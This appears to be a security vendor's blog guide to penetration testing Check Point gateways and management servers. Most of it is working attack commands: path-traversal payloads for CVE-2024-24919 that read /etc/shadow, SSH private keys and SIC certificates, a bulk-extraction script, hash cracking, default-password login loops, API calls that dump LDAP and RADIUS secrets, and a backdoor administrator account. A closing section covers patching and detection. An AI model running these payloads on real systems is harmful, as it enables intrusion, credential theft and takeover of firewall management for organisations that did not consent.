Security Testing

Check Point Security Gateway Security Testing: CVE-2024-24919 VPN Credential Exposure, SmartConsole Access

By Ironimo Research Team July 5, 2026 ~14 min read

Check Point Security Gateways are enterprise perimeter firewalls deployed widely across financial services, government, and critical infrastructure. CVE-2024-24919 (CVSS 8.6) is an unauthenticated arbitrary file read vulnerability affecting the VPN portal that was exploited in the wild before public disclosure, exposing /etc/shadow password hashes and SSH private keys on thousands of internet-facing gateways. This guide covers authorized Check Point penetration testing methodology — from initial fingerprinting through SmartConsole management server compromise and policy database extraction.

Authorized testing only: All techniques described in this guide are for use on systems you own or have explicit written authorization to test. Unauthorized access to network security devices is a criminal offense in most jurisdictions. Check Point firewalls are frequently deployed in critical infrastructure — testing without authorization may trigger incident response procedures.

Check Point Architecture: Security Gateway vs Management Server
Discovery and Fingerprinting
CVE-2024-24919: Unauthenticated Arbitrary File Read
CVE-2023-28467: Mobile Access Portal Information Disclosure
SmartConsole Management Server Attacks
SIC Certificate Testing
CPMI Protocol Enumeration on Port 18264
REST API Abuse and Policy Database Extraction
VPN Portal Credential Harvesting
Defense Recommendations and Detection

Check Point Architecture: Security Gateway vs Management Server

Understanding Check Point's split-management architecture is critical for scoping an assessment. Unlike many firewall vendors where the management plane runs on the same appliance as the data plane, Check Point typically separates them:

Security Gateway (SG) — the enforcement point; handles packet inspection, VPN termination, and threat prevention. Exposes VPN portals (TCP 443/4434), Mobile Access, and IPsec endpoints to the network.
Security Management Server (SMS) — the policy brain; stores all rulebase definitions, object databases, logs, and administrator credentials. Communicates with gateways over CPMI (port 18264) using SIC (Secure Internal Communication) certificates.
SmartConsole — the Windows-based GUI client used by administrators to connect to the SMS; communicates to SMS over TCP 19009 and uses certificate-based mutual TLS.
Multi-Domain Management (MDM) — enterprise deployments with multiple SMS instances under a central management domain server.

Component	Default Port(s)	Protocol	Attack Surface
VPN Portal (Mobile Access)	443, 4434	HTTPS	CVE-2024-24919, credential harvesting, auth bypass
IPsec VPN (IKE)	500, 4500 UDP	IKE/ESP	PSK enumeration, aggressive mode leaks
SmartConsole (SMS)	19009	mTLS	Default credentials, certificate bypass
CPMI (management API)	18264	TCP/TLS	Protocol enumeration, SIC abuse
Check Point REST API	443 (SMS)	HTTPS	API key theft, policy export, object dump
SNMP	161 UDP	SNMPv1/v2c	Default community strings, config enumeration
Gaia Portal (WebUI)	443 (SG mgmt IP)	HTTPS	Default admin credentials, OS config access
SSH (Gaia OS)	22	SSH	Default credentials, key reuse

From an attacker's perspective, the most valuable targets are: the SMS (contains all policy logic and credentials for every managed gateway) and the VPN portal on the Security Gateway (internet-exposed, subject to CVEs like 2024-24919). Compromising the SMS grants control over every gateway it manages — lateral movement at scale.

Discovery and Fingerprinting

Check Point appliances have a distinctive fingerprint across multiple protocols. Version identification enables accurate CVE mapping before attempting any exploitation.

Nmap Service Scan

# Full Check Point port sweep — covers all management and VPN ports
nmap -sV -sC -p 443,4434,8443,18264,19009,500,4500,161,22 \
  --script=ssl-cert,snmp-info,ssh-hostkey \
  -oA checkpoint-scan TARGET_IP

# Fast discovery sweep
nmap -sV --open -p 443,4434,18264,19009 TARGET_IP

# UDP scan for IPsec (IKE on 500) and SNMP (161)
nmap -sU -p 500,4500,161 TARGET_IP

# CPMI port 18264 — if open, indicates Security Management Server or gateway with management enabled
# TCP 19009 — SmartConsole connection port on SMS

HTTPS Fingerprinting via SSL Certificate and HTTP Headers

# VPN portal fingerprinting — Check Point Mobile Access portal
curl -sk https://TARGET/ -I | grep -i "x-check\|checkpoint\|bladelogic\|cpra"

# SSL certificate inspection — Check Point gateways use distinctive CN patterns
curl -sk https://TARGET/ --cert-status -v 2>&1 | grep -i "subject\|issuer\|CN="
# Common patterns: CN=checkpoint, O=Check Point, OU=SSLVPN

# The Check Point Mobile Access portal serves a recognizable landing page
curl -sk https://TARGET/ | grep -i "check point\|checkpoint\|mobile access\|sslvpn"

# Port 4434 — alternate HTTPS port used by Check Point SSL VPN (older deployments)
curl -sk https://TARGET:4434/ -I

# Gaia Portal fingerprint (management interface)
curl -sk https://MGMT-IP/cgi-bin/home.tcl | grep -i "gaia\|check point\|R8[0-9]\|version"
# Gaia R80.x / R81.x version often visible in page source or title

# Banner grab on port 18264 (CPMI — expect TLS handshake, non-HTTP)
openssl s_client -connect TARGET:18264 -brief 2>&1 | head -10

SNMP Community String Testing

# Check Point Gaia supports SNMPv1/v2c — default community strings often left unchanged
# Default community strings: public, private, checkpoint, cp_read

# Enumerate with onesixtyone
onesixtyone -c /usr/share/wordlists/metasploit/snmp_default_pass.txt TARGET_IP

# Direct SNMP walk with default community
snmpwalk -v2c -c public TARGET_IP 1.3.6.1.2.1
snmpwalk -v2c -c checkpoint TARGET_IP 1.3.6.1.2.1

# Check Point-specific OIDs — system description reveals firmware version
snmpwalk -v2c -c public TARGET_IP 1.3.6.1.2.1.1.1  # sysDescr
snmpwalk -v2c -c public TARGET_IP 1.3.6.1.4.1.2620  # Check Point enterprise OID

# Get interface table (reveals internal network topology)
snmpwalk -v2c -c public TARGET_IP 1.3.6.1.2.1.4.20  # ipAddrTable

CVE-2024-24919: Unauthenticated Arbitrary File Read

CVE-2024-24919 (CVSS 8.6) is a path traversal / arbitrary file read vulnerability in Check Point Security Gateways with the Mobile Access or IPsec VPN software blade enabled. It was exploited as a zero-day in May 2024, allowing unauthenticated attackers to read arbitrary files from the underlying Gaia OS including /etc/shadow (SHA512 password hashes for all local OS accounts) and SSH private keys. The vulnerability exists in the /clients/MyCRL endpoint of the VPN portal.

Affected Versions

Check Point CloudGuard Network, Quantum Maestro, Quantum Scalable Chassis
Quantum Security Gateways and Quantum Security Management — R80.20.x, R80.20SP, R80.40, R81, R81.10, R81.10.x, R81.20
Requires Mobile Access blade or Remote Access VPN to be enabled (common in most deployments)

CVE-2024-24919 PoC — Arbitrary File Read via POST /clients/MyCRL

# The vulnerability is a path traversal in the atrribute parameter of the /clients/MyCRL endpoint.
# The server processes the atrribute value without sanitizing directory traversal sequences.

# Step 1: Verify the endpoint is reachable (unauthenticated)
curl -sk https://TARGET/clients/MyCRL -I
# Expected: HTTP/1.1 200 OK or 405 Method Not Allowed (GET; use POST)

# Step 2: Basic detection probe — read /etc/hosts (non-sensitive, safe for initial detection)
curl -sk -X POST https://TARGET/clients/MyCRL \
  --data-urlencode "atrribute=/../../../../../../../../../../../etc/hosts"

# Step 3: Read /etc/shadow (password hashes for all Gaia OS users)
# This is the primary exploitation target — admin hash can be cracked offline
curl -sk -X POST https://TARGET/clients/MyCRL \
  --data-urlencode "atrribute=/../../../../../../../../../../../etc/shadow"

# Example /etc/shadow output (vulnerable target):
# root:$6$rounds=5000$abc123$[SHA512_HASH]:19000:0:99999:7:::
# admin:$6$rounds=5000$xyz789$[SHA512_HASH]:19000:0:99999:7:::

# Step 4: Read SSH private keys
curl -sk -X POST https://TARGET/clients/MyCRL \
  --data-urlencode "atrribute=/../../../../../../../../../../../etc/ssh/ssh_host_rsa_key"

curl -sk -X POST https://TARGET/clients/MyCRL \
  --data-urlencode "atrribute=/../../../../../../../../../../../root/.ssh/id_rsa"

# Step 5: Read Check Point configuration files
# SIC certificate and keys (used for management-gateway trust)
curl -sk -X POST https://TARGET/clients/MyCRL \
  --data-urlencode "atrribute=/../../../../../../../../../../../opt/CPsuite-R81.20/fw1/conf/sic_cert.p12"

# Check Point database files — may contain VPN user credentials
curl -sk -X POST https://TARGET/clients/MyCRL \
  --data-urlencode "atrribute=/../../../../../../../../../../../opt/CPsuite-R81.20/fw1/conf/objects_5_0.C"

# LDAP account unit configuration (contains bind credentials)
curl -sk -X POST https://TARGET/clients/MyCRL \
  --data-urlencode "atrribute=/../../../../../../../../../../../opt/CPsuite-R81.20/fw1/conf/ldapAccountUnit.C"

Automated Scanning and Hash Cracking

# Nuclei template for safe CVE detection
nuclei -u https://TARGET -t cves/2024/CVE-2024-24919.yaml -severity high

# Python PoC for bulk file extraction
python3 << 'EOF'
import requests
import sys
import urllib3
urllib3.disable_warnings()

TARGET = "https://TARGET_IP"
FILES = [
    "/../../../../../../../../../../../etc/shadow",
    "/../../../../../../../../../../../etc/passwd",
    "/../../../../../../../../../../../root/.ssh/id_rsa",
    "/../../../../../../../../../../../etc/ssh/ssh_host_rsa_key",
    "/../../../../../../../../../../../etc/check_point/resolv.conf",
]

for path in FILES:
    try:
        r = requests.post(
            f"{TARGET}/clients/MyCRL",
            data={"atrribute": path},
            verify=False,
            timeout=10
        )
        if r.status_code == 200 and len(r.text) > 10:
            print(f"\n[+] {path}\n{r.text[:500]}")
        else:
            print(f"[-] {path}: {r.status_code}")
    except Exception as e:
        print(f"[!] Error: {e}")
EOF

# Crack extracted /etc/shadow hashes with hashcat
# Check Point Gaia uses SHA-512 (mode 1800)
hashcat -m 1800 shadow_hashes.txt /usr/share/wordlists/rockyou.txt \
  --rules-file /usr/share/hashcat/rules/best64.rule

Widespread exploitation in the wild: CVE-2024-24919 was exploited as a zero-day by threat actors beginning in April 2024, approximately one month before Check Point's public advisory on May 28, 2024. CISA added it to the Known Exploited Vulnerabilities (KEV) catalog. Threat actors used extracted VPN credentials to establish persistence in enterprise networks before organizations were aware of the vulnerability. Organizations with compromised gateways should treat all local OS credentials and SIC keys as compromised.

Post-Exploitation: Using Extracted Credentials

# If /etc/shadow is obtained and hash is cracked, attempt SSH access
ssh admin@TARGET -i cracked_key.pem

# From the Gaia OS shell (expert mode required for full access)
# Enter expert mode with the cracked password
# cpsh (Check Point shell) is the default; "expert" enters bash
expert

# Once in expert mode, read the Check Point configuration database
cat /opt/CPsuite-R81.20/fw1/conf/objects_5_0.C | grep -i "password\|secret\|key\|token"

# List all VPN users configured locally on the gateway
cpdb_util print -f /opt/CPsuite-R81.20/fw1/conf/objects_5_0.C | grep -A3 "fw_users"

# Read IKE pre-shared keys for IPsec VPN communities
cat /opt/CPsuite-R81.20/fw1/conf/psk.conf 2>/dev/null || \
cat /opt/CPsuite-R81.20/fw1/conf/iked.conf 2>/dev/null | grep -i "psk\|secret"

CVE-2023-28467: Mobile Access Portal Information Disclosure

CVE-2023-28467 is an information disclosure vulnerability in the Check Point Mobile Access portal. An unauthenticated attacker can enumerate internal network information including hostnames, internal IP addresses, and configured application links through the portal's API endpoints. This is lower severity but valuable for network reconnaissance prior to deeper attacks.

Mobile Access Portal Enumeration

# Test for Mobile Access portal presence
curl -sk https://TARGET/sslvpn/Login/Login -I
curl -sk https://TARGET/saml-login -I
curl -sk https://TARGET/dana-na/auth/url_default/welcome.cgi -I  # Pulse-like URL

# CVE-2023-28467 — enumerate configured portal applications without auth
curl -sk https://TARGET/sslvpn/api/v1/portal/applications \
  -H "Accept: application/json" | python3 -m json.tool

# Internal network apps exposed through the Mobile Access portal
# Response reveals: internal hostnames, IP addresses, application URLs, resource names
curl -sk "https://TARGET/sslvpn/api/v1/resources?type=all" \
  -H "Accept: application/json" | python3 -m json.tool

# Check for exposed portal settings revealing internal domain/LDAP configuration
curl -sk "https://TARGET/sslvpn/api/v1/configuration/public" \
  -H "Accept: application/json" | python3 -m json.tool

# Mobile Access application bookmarks — reveals internal app URLs and services
# Even without exploitation, this maps internal services for further targeting
curl -sk "https://TARGET/sslvpn/api/v1/portal/bookmarks" \
  -H "Accept: application/json" | python3 -m json.tool

SmartConsole Management Server Attacks

The Security Management Server (SMS) is the highest-value target in a Check Point environment. Gaining administrative access to the SMS provides full control over security policy for every managed gateway, the ability to export the complete policy database, and access to stored credentials for integrated services (LDAP, RADIUS, syslog).

Default Administrator Credentials

# Check Point SMS Gaia WebUI (port 443 on management IP)
# Default credentials: admin / admin (must change on first login — often skipped in lab/staging deployments)
# Some older deployments: admin / checkpoint

# Test via Gaia WebUI
curl -sk -c gaia_cookies.txt -X POST "https://SMS-IP/cgi-bin/home.tcl" \
  -d "username=admin&password=admin&state=login" \
  -H "Content-Type: application/x-www-form-urlencoded"

# Check for redirect to dashboard (indicates success)
curl -sk -b gaia_cookies.txt "https://SMS-IP/cgi-bin/system.tcl" | grep -i "gaia\|dashboard\|hostname"

# SmartConsole connects on port 19009 using mTLS — requires a client certificate
# However, the REST API (port 443 on SMS) accepts username/password
# Test REST API login with default credentials
curl -sk -X POST "https://SMS-IP/web_api/login" \
  -H "Content-Type: application/json" \
  -d '{"user":"admin","password":"admin"}' | python3 -m json.tool

# Successful response includes a session token (sid)
# {"sid": "vg8N3qCOQqzGr5...", "uid": "...", "url": "...", "api-server-version": "1.9"}

# Test other common passwords
for PASS in "admin" "checkpoint" "Check1234!" "Admin1234" "cpdefault"; do
  echo -n "Testing $PASS: "
  curl -sk -X POST "https://SMS-IP/web_api/login" \
    -H "Content-Type: application/json" \
    -d "{\"user\":\"admin\",\"password\":\"$PASS\"}" | grep -o "sid\|failed\|Wrong"
done

SmartConsole Certificate-Based Authentication Bypass Research

# SmartConsole GUI (TCP 19009) uses certificate-based mutual TLS
# The SMS issues certificates to trusted SmartConsole clients
# Enumerate the certificate authority the SMS uses
openssl s_client -connect SMS-IP:19009 -brief 2>&1 | grep -i "issuer\|subject\|CA"

# If a valid SIC certificate is obtained (e.g. via CVE-2024-24919 file read),
# it may be possible to establish a CPMI session directly

# Check if the SMS management port is exposed to the internet (should not be)
nmap -sV -p 18264,19009 SMS-IP

# SMS web services probe (Gaia R80+ exposes several management web services)
curl -sk https://SMS-IP/web_api/ | grep -i "api\|version\|check"

# API version discovery (no auth required)
curl -sk -X POST "https://SMS-IP/web_api/show-api-versions" \
  -H "Content-Type: application/json" \
  -d '{}' | python3 -m json.tool

SIC (Secure Internal Communication) Certificate Testing

SIC is Check Point's proprietary mechanism for trust between the SMS and Security Gateways. Each gateway has a unique SIC certificate issued by the SMS acting as a CA. SIC certificates authenticate CPMI protocol sessions and are stored on the gateway's filesystem — making them extractable via CVE-2024-24919.

SIC Certificate Extraction and Analysis

# SIC certificates are stored in the Check Point PKI directory
# Extract via CVE-2024-24919 file read (if vulnerable)
curl -sk -X POST https://GATEWAY-IP/clients/MyCRL \
  --data-urlencode "atrribute=/../../../../../../../../../../../opt/CPsuite-R81.20/fw1/conf/InternalCA.crt"

curl -sk -X POST https://GATEWAY-IP/clients/MyCRL \
  --data-urlencode "atrribute=/../../../../../../../../../../../opt/CPsuite-R81.20/fw1/conf/sic_cert.p12"

# Inspect extracted certificate details
# (save to file first, then parse)
openssl x509 -in sic_cert.crt -text -noout | grep -i "subject\|issuer\|serial\|valid\|DNS\|IP"

# SIC initialization — resetting SIC generates a new one-time activation key
# If you have SSH access to the gateway, you can view SIC status:
cpconfig  # Interactive menu — option 4: "Secure Internal Communication"

# Check SIC status via Check Point shell
cpsh -c "fw stat" 2>/dev/null | grep -i "SIC\|installed\|fetching"

# From SMS with admin access — check gateway SIC status
# Via REST API (requires valid session token):
curl -sk -X POST "https://SMS-IP/web_api/show-gateways-and-servers" \
  -H "Content-Type: application/json" \
  -H "X-chkp-sid: SESSION_TOKEN" \
  -d '{"limit":50}' | python3 -m json.tool | grep -i "sic\|name\|ip"

IKE Pre-Shared Key Extraction

# IPsec VPN communities may use pre-shared keys (PSK) instead of certificates
# PSKs are stored in the Check Point objects database

# Via expert mode on gateway (after SSH access):
grep -i "psk\|shared_secret\|ike_secret" \
  /opt/CPsuite-R81.20/fw1/conf/iked.conf 2>/dev/null

# Via REST API (with SMS admin token):
curl -sk -X POST "https://SMS-IP/web_api/show-vpn-communities-meshed" \
  -H "Content-Type: application/json" \
  -H "X-chkp-sid: SESSION_TOKEN" \
  -d '{}' | python3 -m json.tool

# IKE aggressive mode fingerprinting (may leak gateway identity/group)
# Using ike-scan
ike-scan --aggressive --id=test TARGET_IP
ike-scan -M --aggressive --id=vpn-client TARGET_IP

CPMI Protocol Enumeration on Port 18264

CPMI (Check Point Management Interface) is the proprietary binary protocol used for communication between the SmartConsole client, the SMS, and managed gateways. Port 18264 is the default CPMI port. While full exploitation typically requires valid credentials or SIC certificates, the port's presence confirms an SMS or management-enabled gateway and enables further research.

CPMI Port Probing and Banner Analysis

# TCP banner grab on CPMI port
nc -w 3 TARGET_IP 18264 | xxd | head -20
# CPMI speaks its own TLS-wrapped binary protocol — not HTTP

# OpenSSL TLS handshake inspection (reveals certificate details)
openssl s_client -connect TARGET_IP:18264 -brief 2>&1
openssl s_client -connect TARGET_IP:18264 2>&1 | grep -i "issuer\|subject\|verify\|cn="

# Nmap version detection with service script
nmap -sV -p 18264 --script=ssl-cert,ssl-enum-ciphers TARGET_IP

# CPMI cipher suite enumeration
nmap -p 18264 --script ssl-enum-ciphers TARGET_IP
# Weak ciphers (DES, RC4, export grades) indicate outdated firmware

# If CPMI is accessible without SIC authentication,
# a version-dependent exploit or default credential may allow access
# Check for CVE-2019-8461 (CPMI null pointer dereference / DoS — non-exploitable)

# Port 18264 should never be exposed to the internet
# Flag exposure as critical finding: direct path to SMS

Metasploit Auxiliary Modules

# Metasploit has auxiliary modules for Check Point enumeration
msfconsole -q
msf6 > use auxiliary/scanner/firewall/checkpoint_hostname
msf6 auxiliary(checkpoint_hostname) > set RHOSTS TARGET_IP
msf6 auxiliary(checkpoint_hostname) > run
# Returns: hostname, Check Point version, SmartCenter IP

# Check Point version from OPSEC LEA (Log Export API) port
msf6 > use auxiliary/scanner/firewall/checkpoint_crack
msf6 auxiliary(checkpoint_crack) > set RHOSTS TARGET_IP
msf6 auxiliary(checkpoint_crack) > run

REST API Abuse and Policy Database Extraction

Check Point introduced a REST API (Management API) in R80. With valid credentials, the REST API provides complete programmatic access to the SMS: read/write security policies, enumerate all network objects, extract credentials for integrated services, and trigger policy installations. The API uses session tokens passed in the X-chkp-sid header.

REST API Authentication and Session Management

# Authenticate to the management API
RESPONSE=$(curl -sk -X POST "https://SMS-IP/web_api/login" \
  -H "Content-Type: application/json" \
  -d '{"user":"admin","password":"ADMIN_PASS","domain":"SMB","read-only":false}')

echo $RESPONSE | python3 -m json.tool

# Extract session token
SID=$(echo $RESPONSE | python3 -c "import sys,json; print(json.load(sys.stdin)['sid'])")
echo "Session token: $SID"

# Verify session
curl -sk -X POST "https://SMS-IP/web_api/show-session" \
  -H "Content-Type: application/json" \
  -H "X-chkp-sid: $SID" \
  -d '{}' | python3 -m json.tool

Policy Database Enumeration

# List all security policies (rulebases)
curl -sk -X POST "https://SMS-IP/web_api/show-packages" \
  -H "Content-Type: application/json" \
  -H "X-chkp-sid: $SID" \
  -d '{"limit":50,"details-level":"full"}' | python3 -m json.tool

# Dump all access control rules from the primary policy
curl -sk -X POST "https://SMS-IP/web_api/show-access-rulebase" \
  -H "Content-Type: application/json" \
  -H "X-chkp-sid: $SID" \
  -d '{"name":"Network","limit":500,"details-level":"full"}' | python3 -m json.tool

# Extract all network objects (hosts, subnets, groups — reveals internal topology)
curl -sk -X POST "https://SMS-IP/web_api/show-hosts" \
  -H "Content-Type: application/json" \
  -H "X-chkp-sid: $SID" \
  -d '{"limit":500,"details-level":"full"}' | python3 -m json.tool

# Enumerate all managed Security Gateways
curl -sk -X POST "https://SMS-IP/web_api/show-simple-gateways" \
  -H "Content-Type: application/json" \
  -H "X-chkp-sid: $SID" \
  -d '{"limit":50,"details-level":"full"}' | python3 -m json.tool

API Key Harvesting and Administrator Enumeration

# List all administrator accounts
curl -sk -X POST "https://SMS-IP/web_api/show-administrators" \
  -H "Content-Type: application/json" \
  -H "X-chkp-sid: $SID" \
  -d '{"limit":50,"details-level":"full"}' | python3 -m json.tool

# Enumerate LDAP server objects (contain bind DN and password)
curl -sk -X POST "https://SMS-IP/web_api/show-generic-objects" \
  -H "Content-Type: application/json" \
  -H "X-chkp-sid: $SID" \
  -d '{"class-name":"com.checkpoint.objects.classes.dummy.CpmiLdapServer","limit":50}' \
  | python3 -m json.tool

# Show RADIUS server configurations (contain shared secrets)
curl -sk -X POST "https://SMS-IP/web_api/show-generic-objects" \
  -H "Content-Type: application/json" \
  -H "X-chkp-sid: $SID" \
  -d '{"class-name":"com.checkpoint.objects.classes.dummy.CpmiRadiusServer","limit":50}' \
  | python3 -m json.tool

# Full policy export (exports the entire SMS database as a .tar.gz)
curl -sk -X POST "https://SMS-IP/web_api/export-management-database" \
  -H "Content-Type: application/json" \
  -H "X-chkp-sid: $SID" \
  -d '{}' | python3 -m json.tool
# Returns a task ID — poll for completion, then download via the returned URL

# Create a backdoor admin account (for persistence — authorized red team only)
curl -sk -X POST "https://SMS-IP/web_api/add-administrator" \
  -H "Content-Type: application/json" \
  -H "X-chkp-sid: $SID" \
  -d '{"name":"backup-admin","password":"B4ckdoor!23","must-change-password":false,"permissions-profile":{"type":"read-write"}}'

Tip — API endpoint discovery: Check Point's management API documentation lists all available endpoints at /web_api/. On an SMS with admin access, the API schema is browsable at https://SMS-IP/api/ and returns all endpoint definitions — useful for discovering less-documented objects like VPN community PSKs and certificate objects.

VPN Portal Credential Harvesting

Check Point's Mobile Access blade provides SSL VPN functionality through a web portal accessible on TCP 443 (and sometimes 4434). Beyond CVE-2024-24919, the portal itself is a target for credential harvesting — both extracting stored credentials from the gateway configuration and testing the authentication mechanism for weaknesses.

Mobile Access Portal Endpoint Enumeration

# Enumerate Mobile Access portal endpoints
# Common URL patterns
for PATH in "/" "/sslvpn/Login/Login" "/remote/login" "/dana-na/auth/url_default/welcome.cgi" \
            "/cgi-bin/welcome" "/saml-login" "/ssl-vpn/" "/clients/"; do
  STATUS=$(curl -sk -o /dev/null -w "%{http_code}" https://TARGET$PATH)
  echo "$STATUS $PATH"
done

# Detect authentication method (LDAP, RADIUS, certificate, SAML)
curl -sk https://TARGET/sslvpn/Login/Login | grep -i "ldap\|radius\|saml\|form\|auth"

# Endpoint clientless VPN — the portal lists accessible internal applications
# Enumerate post-auth bookmarks/applications if credentials are obtained
curl -sk -b vpn_session.txt "https://TARGET/sslvpn/api/v1/portal/applications" \
  -H "Accept: application/json" | python3 -m json.tool

# SSL VPN session cookie analysis
# Check Point Mobile Access sets several session cookies:
# CPCVPN_SESSION_ID, CPVPN_SSO_TOKEN, CSRF-Token
curl -sk https://TARGET/sslvpn/Login/Login -c vpn_cookies.txt -v 2>&1 | grep -i "set-cookie"

VPN User Credential Testing

# Test default / common VPN user credentials
# Check Point local user database defaults: no default VPN user, but
# admin/admin is sometimes used for demonstration accounts

# Mobile Access portal login test (POST to the login endpoint)
curl -sk -c session.txt -X POST "https://TARGET/sslvpn/Login/Login" \
  -d "username=vpnuser&password=Welcome1&loginButton=Log+In" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Referer: https://TARGET/sslvpn/Login/Login"

# Check response for authentication success/failure indicators
# Failure: "Invalid username or password", "Authentication failed"
# Success: Session redirect to portal dashboard

# Enumerate valid usernames via timing or response differences
# Check Point may reveal "user not found" vs "wrong password" responses

# If LDAP is configured, test LDAP null bind (anonymous read)
ldapsearch -x -H ldap://SMS-IP -b "dc=corp,dc=local" -s base "(objectClass=*)" 2>&1 | head -20

# Test for account lockout policy (how many failures before lockout?)
for i in 1 2 3 4 5; do
  curl -sk -X POST "https://TARGET/sslvpn/Login/Login" \
    -d "username=admin&password=wrongpass$i&loginButton=Log+In" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    | grep -i "locked\|too many\|attempts\|error" | head -1
  sleep 1
done

Extracting VPN User Database via SMS API

# With SMS admin access, extract all configured VPN users
# List all user objects
curl -sk -X POST "https://SMS-IP/web_api/show-generic-objects" \
  -H "Content-Type: application/json" \
  -H "X-chkp-sid: $SID" \
  -d '{"class-name":"com.checkpoint.objects.classes.dummy.CpmiUser","limit":500}' \
  | python3 -c "
import sys, json
data = json.load(sys.stdin)
for obj in data.get('objects', []):
    print(f'User: {obj.get(\"name\")}, Email: {obj.get(\"email\",\"N/A\")}')
"

# Check for users with static password authentication (vs certificate)
# These users' passwords may be stored in reversible/weak form

# Extract VPN access rules — which user groups have VPN access
curl -sk -X POST "https://SMS-IP/web_api/show-mobile-access-section" \
  -H "Content-Type: application/json" \
  -H "X-chkp-sid: $SID" \
  -d '{}' | python3 -m json.tool

Defense Recommendations and Detection

Finding	Risk	Remediation
CVE-2024-24919 unpatched	Critical	Apply Hotfix Accumulator (CPUSE) for R80.40, R81, R81.10, R81.20 immediately. As immediate mitigation, disable the Mobile Access Software Blade or block external access to /clients/MyCRL at the load balancer / upstream firewall
Default admin credentials (admin/admin)	Critical	Change on first boot; enforce MFA for all SMS administrator accounts via SmartConsole > Manage & Settings > Administrators
SMS/CPMI port 18264 internet-exposed	Critical	Restrict to RFC1918 management VLAN only; never expose CPMI or SmartConsole ports (18264, 19009) to the internet or untrusted networks
REST API accessible from untrusted networks	High	Use API client certificates with IP restrictions; enable MFA for API access; restrict /web_api/ to management IP range
SNMP with default community strings	High	Disable SNMPv1/v2c; migrate to SNMPv3 with authentication and encryption; change all default community strings
SIC certificates extractable via file read	High	After patching CVE-2024-24919, reset SIC on all gateways; rotate SSH keys and /etc/shadow credentials
LDAP bind credentials in SMS database	High	Use a dedicated read-only LDAP service account with minimal permissions; rotate if SMS is compromised
IPsec PSKs in configuration	Medium	Migrate VPN communities to certificate-based authentication; use per-tunnel unique keys where PSK is required
Gaia WebUI exposed to internet	High	Block TCP 443 to the management IP from all non-management networks; use dedicated out-of-band management VLAN

Immediate Mitigation for CVE-2024-24919

# Option 1: Apply the Check Point security update via CPUSE (recommended)
# In Gaia Portal: Software Updates > Check for Updates
# Install Hotfix Accumulator: HF_R81.20_JHF_T52 or later (version-specific)

# Option 2: Temporary mitigation — disable Mobile Access blade
# In SmartConsole: Gateways & Servers > [Gateway] > General Properties > Software Blades
# Uncheck "Mobile Access" — requires policy install

# Option 3: Restrict /clients/MyCRL at perimeter (if upstream load balancer exists)
# Nginx example:
# location /clients/MyCRL {
#   deny all;
# }

# Check if the gateway is patched by testing the endpoint behavior
# A patched gateway returns HTTP 403 or rejects the path traversal:
curl -sk -X POST https://TARGET/clients/MyCRL \
  --data-urlencode "atrribute=/../../../../../../../../../../../etc/passwd"
# Patched: HTTP 403 or empty/error response
# Vulnerable: returns actual file content

Detection — Identifying CVE-2024-24919 Exploitation Attempts

# Check Point SmartLog / SmartView query for exploitation attempts
# In SmartConsole > Logs & Monitor > SmartView:

# Search for POST requests to /clients/MyCRL with path traversal patterns
# Filter: blade:"Mobile Access" AND action:"Accept" AND url:"/clients/MyCRL"

# On the Gaia OS (SSH), review web server access logs
grep "clients/MyCRL" /var/log/httpd/access_log | grep "POST" | grep "\.\."

# Look for successful file reads (HTTP 200 with content-length > 100)
grep "clients/MyCRL" /var/log/httpd/access_log | grep " 200 " | awk '{print $9,$10,$11}'

# Check for unauthorized SSH access attempts using extracted keys
grep "Accepted publickey\|Invalid user\|Failed password" /var/log/auth.log | tail -50

# SIEM correlation rule (Splunk SPL example)
# index=checkpoint sourcetype=cp_log url="/clients/MyCRL" method=POST
# | stats count by src_ip, dest_ip, http_response_code
# | where count > 3

# Indicators of compromise post-exploitation:
# 1. New SSH keys in /root/.ssh/authorized_keys
# 2. New scheduled tasks in /etc/cron.d/
# 3. Unexpected outbound connections from the gateway IP
# 4. New local OS user accounts in /etc/passwd

Automate Network Security Device Testing

Ironimo coordinates nuclei, nmap, and custom checks in automated sequences — detecting CVEs, default credentials, and misconfigurations across perimeter devices including Check Point, Palo Alto, Fortinet, and Ivanti appliances.

Start free scan

Summary

Check Point Security Gateways present a layered attack surface that rewards methodical enumeration. CVE-2024-24919 is the highest-priority finding for any internet-facing Check Point VPN gateway — unauthenticated file read exposing /etc/shadow and SSH keys means that patching and credential rotation are urgent even on systems not yet showing signs of compromise. The split architecture (gateway + SMS) means that compromising either component has severe consequences: a gateway compromise exposes SIC certificates and local credentials, while SMS compromise grants control over every managed gateway and yields the complete policy database including LDAP, RADIUS, and SIEM credentials.

For authorized assessments: start with nmap across TCP 443/4434/18264/19009 and UDP 500/161 to map the attack surface; fingerprint via SSL certificate CN patterns and SNMP; probe CVE-2024-24919 on any gateway with Mobile Access enabled; test default credentials on both the Gaia WebUI and REST API; and if access is gained, extract the full policy database via the management API before analyzing LDAP bind credentials and VPN user configurations. Always verify SNMP community strings — they often reveal internal network topology and version information even before any CVE exploitation.